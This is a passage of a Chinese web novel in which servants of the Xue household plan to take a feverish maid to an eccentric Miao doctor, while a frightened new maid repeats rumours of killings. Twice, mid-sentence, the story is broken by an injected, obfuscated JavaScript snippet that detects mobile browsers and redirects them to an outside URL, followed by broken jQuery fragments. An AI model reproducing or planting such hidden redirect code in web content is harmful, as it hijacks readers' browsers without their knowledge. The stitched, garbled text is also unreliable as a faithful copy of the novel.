他随即冷静下来,筹划道:“老爷子禁止外头的医生出入薛府,请苗医之事得神不知鬼不觉,容我想想。” 不料沈观山哈哈大笑:“小少爷,你也太小瞧他性情古怪的程度了,他只看亲自去他那儿求医的人,即使是病入膏肓者,抬也要抬到他跟前!” “好大的谱!”薛槐安皱眉道,可医治好冬青与看出药方的古怪实在诱人,“要去何处寻他?” 沈观山道:“每月初一、十五,他会在回春药铺坐诊。” ——回春药铺! 温闲许心跳得飞快,回春药铺不正是阁主叫她去找组织接头人的地方吗? 她生怕薛槐安反悔:“少爷,咱们去看看吧,万一他真能治好冬青姐姐的病呢?” “我又没说不去,你急什么?”薛槐安奇怪地望着她,“不过,离十五只有几日了,得想个不引起老爷子怀疑的法子,把冬青一起带出去……” 春杳忽然来了:“少爷,孙嬷嬷领着一群下人往咱们这儿来啦!” 薛槐安当机立断:“你去拖住她,免得她在背后嚼舌根。我和岁昭送送观山,无虞你留下来照看冬青。” 春杳拍胸脯保证道:“放心吧少爷,我一定拖住她一刻钟。你和岁昭早去早回,我怕时间长了她会察觉端倪。” 一刻钟时间说长不长、说短不短,大家各行其事,房间很快空了下来。 温闲许看着冬青的睡颜,心里不是滋味。她虽来停云轩的时间不长,目的也不纯,冬青却毫不吝啬地对她释放善意。 唉,如果漪然姐姐在就好了,她肯定有办法…… 轩外,薛槐安、岁昭与沈观山行至一僻静处,薛槐安压低声音问:“冬青的症状与我一样吗?” “你?”沈观山瞥了他一眼,“你是心气郁结,她是心火旺盛,病症简直完全相反。” 沈观山察觉出他心中所想:“而且我刚刚给无虞姑娘也把了脉,她的脉相平稳,如果冬青姑娘的病与你有关,她吃住都在你房中,应该也会有不同寻常的地方。” 薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800068|175085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 槐安冷静地分析,将可能性一一排除:“可冬青吃的东西与春杳、岁昭一样,也没有单独见什么来历不明的人,等等……” 他忽然想到了什么:“不过薛阳和前几日来找我麻烦时,曾闯入冬青房间里,但是……” 岁昭接了下去:“且不论大少爷有没有这样的本事,他垂涎冬青姑娘的美色已久,若他真有如此手段,使在少爷身上都不会害冬青姑娘。” 薛槐安点头道:“不错,可如果他不知情呢?他与冬青见面时,我、无虞、长顺都在场……为何偏偏只有冬青中招?” 沈观山沉吟道:“或许冬青当时元气有亏,才会染上此等邪症。至于少爷您,盖因体质与病气相斥,方逃过一劫。” 说完,沈观山警惕地看看四周:“事关大少爷,无凭无据,还是少说为妙。对了,苗医的事情你最好再去打听打听,他的规矩多得很,好像还不止我说的几件。” “好。”薛槐安朝岁昭点点头,岁昭立刻会意地去了。 他又对沈观山说道:“前面人多眼杂,你先一个人回去吧。” 三人各怀心事地散去,薛槐安才发现时间已经过了一刻钟,他不禁加快脚步,不知春杳拖住孙嬷嬷没有? * 夏日炎炎,阳光透过枝桠洒下斑驳的光晕,影影绰绰间,隐约可见几个交谈的身影。 春杳挡在孙嬷嬷一群人前面,眉飞色舞地讲开了:“哎,你们夜里可听见那动静了?和打雷似的,我半夜被吵醒时,还以为是地龙翻身了……” 他说得有趣,孙嬷嬷身后的丫鬟小厮们都竖起了耳朵,有个小姑娘大着胆子回他:“我也听见了,我们几个挤在通铺里,一宿都没睡安稳!到底是什么声音?” 孙嬷嬷狠狠剜了小姑娘一眼:“忘记我入府时对你们说过的话了?少问、少听、少说!” 她想绕过春杳,可春杳一闪身,又拦住了她的去路:“孙嬷嬷您别着急呀,我接下来要说的事情才是重点哩! “万连碧那厮,打坏了我们轩里的无虞姑娘不说,夜里还在儆尤堂鬼哭狼嚎!这下可好,把仅剩的冬青姑娘也吓得病势更沉了!眼下轩中能伺候少爷的,只剩下我和岁昭了。我们粗手笨脚的,哪比得上姑娘们细心?还得拜托您向夫人说说……” 薛槐安在府中不得老爷宠爱,更是夫人的眼中钉,孙嬷嬷虽不敢在正主面前造次,对他的小厮却没有什么好脸色,她把春杳拨到一旁:“这不是夫人看你们可怜的,给你们送丫鬟来了吗?” 春杳没脸没皮地跟上去:“哪个丫鬟?好嬷嬷,让我瞧瞧吧。” 孙嬷嬷被他缠得不耐烦,使了个眼神,一个瘦瘦小小的丫头怯生生地从人后中挪了出来。 没想到春杳拽住了她的胳膊:“新来的妹妹娇小玲珑,少爷肯定会喜欢。如今我们轩中竟有三个丫鬟了,等少爷身体好些,定会亲自去向夫人道谢!小姑娘,你叫什么名字?” 春杳生得俊朗,一抹绯红攀上在小丫头双颊:“我……我叫叶葵。” 14. 谣言 春杳把叶葵拉住,孙嬷嬷想走也走不了,她终于觉出不对劲来:“你非得拦着我们做甚?莫不是你们轩中有什么见不得人的东西?” “孙嬷嬷说笑了,没有的事……”春杳站在拐角处,余光瞥见一道人影钻入了院门,心里松了一口气,面上笑道,“我一见叶葵姑娘便觉得亲切得紧,才唐突了,您老莫怪,我先去向少爷通报一声。” 孙嬷嬷望着春杳离去的背影,皱起眉头。 当她们一行人来到停云轩时,薛槐安已经在庭院里候着了,孙嬷嬷眼睛滴溜溜转了两圈,没找出什么不同寻常的地方,于是例行公事地说了几句场面话,把叶葵留下匆匆往下一个目的地去了。 叶葵手指绞着衣角,大气也不敢喘,恨不得与地面融为一体。薛槐安冷冷地瞥了她一眼,懒得搭理她,转身回书房里了。 直到温闲许出来打湿给冬青降温的手帕,叶葵才像抓住了救命稻草似的,欣喜地唤道:“无虞姐姐!” 见到来人,温闲许愣了一下神:“叶葵?你怎么在这儿?” 叶葵简单地交代了她与温闲许分开之后的遭遇。温闲许被二少爷截去停云轩之后,她被分配到了后厨,做了些挑水烧火、饮食烹饪的活计,虽然忙点累点,好在不必直接与主子们接触。 谁知孙嬷嬷昨日找上她,说二少爷轩中两个丫鬟都生病了,非要她去顶缺不可。她不从,孙嬷嬷不光罚她一整天不准吃饭,今儿一早更命人将她强行拖来了。 “咕噜噜……”叶葵的肚子应景地叫唤起来。 温闲许将她窘迫的样子尽收眼底,去厨房里翻翻找找,好半天才寻到一个吃剩下的咸菜包子。 包子的外皮已经凉了,叶葵仍吃得又急又快,脸颊如仓鼠一样鼓鼓囊囊的,含混不清地嘟囔道:“谢……谢谢姐姐。” 她像一只寻觅到温暖巢穴的雏鸟,寸步不离地守着温闲许,一口一个“姐姐”叫得亲热:“姐姐,我前几日知道你挨打的消息,吓得魂都飞了!幸好姐姐你福大命大,如今已经无恙了。” 叶葵心有余悸地说:“光听着他晚上的嚎叫,我的心都要跳出来了……” 温闲许不知道叶葵口中的“他”是谁:“谁大晚上怪叫?” “就是打姐姐的人呀!”叶葵努力回忆,“刚才出门迎我们的小厮说,他好像叫万什么来着……” 万连碧?一想到他,温闲许顿觉背上已经愈合的伤口又钻心地疼痛起来。 待她冷静下来,一抹疑惑继而爬上她的心头。万连碧虽痴傻,也没有到大半夜不睡觉、无故干嚎的程度吧? “哦……”温闲许已经浸湿了手帕,拧到半干,回到了冬青的房中。 叶葵紧紧地跟着她,见到不省人事的冬青时,她登时倒抽了一口冷气,舌头都打了结:“她、她不是……咱们入府当天见过的姐姐吗?我记得她当时瞧着没事儿啊!怎、怎么突然就……” 温闲许摇摇头,沉默地把帕子搭在冬青额上,指尖传来的高热几乎要将人灼伤。她也想不明白,短短几日,冬青的病为何会恶化得如此厉害。 叶葵仓惶四顾,忽然像下定了某种决心似的,凑到温闲许耳旁,哀求道:“侠女,求求你了,带我一起跑吧。” 她的眼睛因惊惧盈满了泪水,与温闲许初见她时、央求父亲不要把她卖入薛府的样子重合了。 温闲许手中动作停住了:“什么侠女?还有,谁说我要跑了?” “姐姐,停云轩不干净,咱们才来不过十天,轩里头行动自如的丫鬟……只剩下你我两人了。佩兰姑娘叫人害死了,冬青姑娘眼瞅着也要不行了……” 温闲许纠正她:“你少信些流言蜚语,佩兰姑娘分明是与人私奔的,冬青姐姐不过是病来如山倒罢了……” “不、不是的!”叶葵哆哆嗦嗦地打断她,“几日前,我独自在厨房弯腰生火,外面路过了两个人,没瞧见我。其中一人问‘佩兰姑娘如何了’,另一人竟答‘已经把她埋在雁回院中了’……” “雁回院是哪儿?”温闲许今日身体才好利索,还不曾去过薛府其他地方。 “是三少爷从前住的院子,在东南角……”叶葵抱着温闲许的手臂,眼中神情哀恸:“你还记得二少爷吃丫鬟的传言吗?再不走,下一个死的就轮到我们了……” 一个性命垂危的人躺在她们眼前,不吉利的“死”字却一个接一个地从叶葵口中蹦出,温闲许的嘴角终于垂了下来。 她直视着叶葵,把刚才的话一字一顿重复道:“我相信佩兰姑娘与她的相好私奔去了,也相信冬青姑娘的病不过是巧合。” 经过几日与轩中人的朝夕相处,温闲许对薛槐安几人的印象已经有了翻天覆地的转变。薛阳和母子散发出的恶意更是将温闲许与他们拧成了一股绳。 事到如今,温闲许更坚信“薛槐安剖丫鬟的心肝吃”只是无稽之谈。 眼见说不动温闲许,叶葵欲哭无泪,一时没了主意。 温闲许替冬青擦去虚汗,准备出门时却撞上了叶葵可怜巴巴的眼神。叶葵像蘑菇一样贴着墙蹲着,仿佛有一朵无形的乌云罩住了她。 一想到叶葵只是一个没见过世面的小姑娘,受流言蒙蔽也无可厚非,温闲许的心肠又软了下来,前行的步伐一顿,有样学样地蹲下身子。 屋里的“蘑菇”由一个变作两个,温闲许安抚地拍了拍叶葵的后背:“别担心,二少爷和你想象的不一样,虽然他性格孤僻、行事乖张……但他心地还是很善良的,你多住上几日就明白了。” 叶葵闷闷地应了,也不知听进去了没有。 老旧院门推开又合上的声音传来,温闲许嘱咐叶葵“一个人好好想想”,便到庭院去了。 果然是岁昭回来了:“无虞姑娘,我把沈公子方子上的药材买来了,咱们快去……” 温闲许刚准备接过他采买的物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15804259|175085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品,薛槐安的声音突然如鬼魅般响起:“她背上的伤还没有好全,你有手有脚的,干嘛要使唤她?” 两人循声望去,才见薛槐安站在一株参天榕树下。因树荫把他整个儿罩住,两人未能第一时间发现。 温闲许惊讶道:“少爷,你站在这里做什么?” 少爷平时不是在书房就是在卧室,几乎没有来院中乘凉的时候,为何今日…… 榕树与冬青的耳房不过几步之遥,她方才与叶葵说的话,不会一字不落全让他听到了? 温闲许紧张地盯着薛槐安,同时大脑飞快回想着方才的对话,她好像说他性格孤僻、行事乖张来着? 不过她紧接着也夸了他心地善良,希望他只听到了这一句…… 要是时间可以倒流回几分钟之前,她一定会把院子仔细瞧一遍再去安慰叶葵! 幸好薛槐安什么也没说,只是神色不明地看了温闲许一眼,视线移向岁昭:“苗医的事情你打探得如何了?” 岁昭面露难色:“回春药铺我寻是寻找了,但是和沈公子说的一样,那苗医行为怪得很,我连面都没能见着,只拿了一整页规矩回来……” 他掏出一张方正的纸笺,念道:“第一,大夫仅于每月初一、十五坐诊,有缘人届时可前往回春药铺求医,切记带好诊金。” “第二,若患者为男性,必须携带两名以上女眷同来,否则一律不予接诊。” “第三,谨遵大夫吩咐,不得质疑医术。” 读完三条,见岁昭一副欲言又止的模样,薛槐安把纸笺抢了过去,继续念道:“第四,违背前述任意一条者,期月之内,必当……暴毙。” 薛槐安摩挲着纸张边缘:“好霸道的口气……不知他写得出来,能不能做得到?” 岁昭将自己打听到的其他情报也说了出来:“确有几人看诊时出言顶撞,回家不足一个月,均七窍流血而亡。然官府验尸,皆因突发恶疾、暴毙身亡。” 薛槐安沉吟道:“好,我们便遵守他的规矩!第三条说,男子就医需要携带两名女眷,我和冬青肯定要去,剩下一位……” 初一、十五……温闲许觉得这两个日子有种说不上来的熟悉感,遂道:“少爷,我和你们一起去吧!” 薛槐安却犹豫了:“不行,你的伤还没好,还是让新来的丫头……” 岁昭劝道:“少爷,新来的丫鬟恐有异心,还是让无虞姑娘一同去吧,届时我乔装打扮护你们周全。” 温闲许眼睛一眨一眨的:“对呀少爷,让我去吧!” 薛槐安思索片刻,还是同意了。 去回春药铺的事就此定下,眼下又出现了更大的难题,如何在薛老爷的眼皮子底下溜出去?温闲许、薛槐安、岁昭三人倒是好说,麻烦的是冬青姑娘,喝下沈太医的药之后,她的烧退了,但是仍然不怎么清醒。 要抬着这样一个人出去,也太醒目了……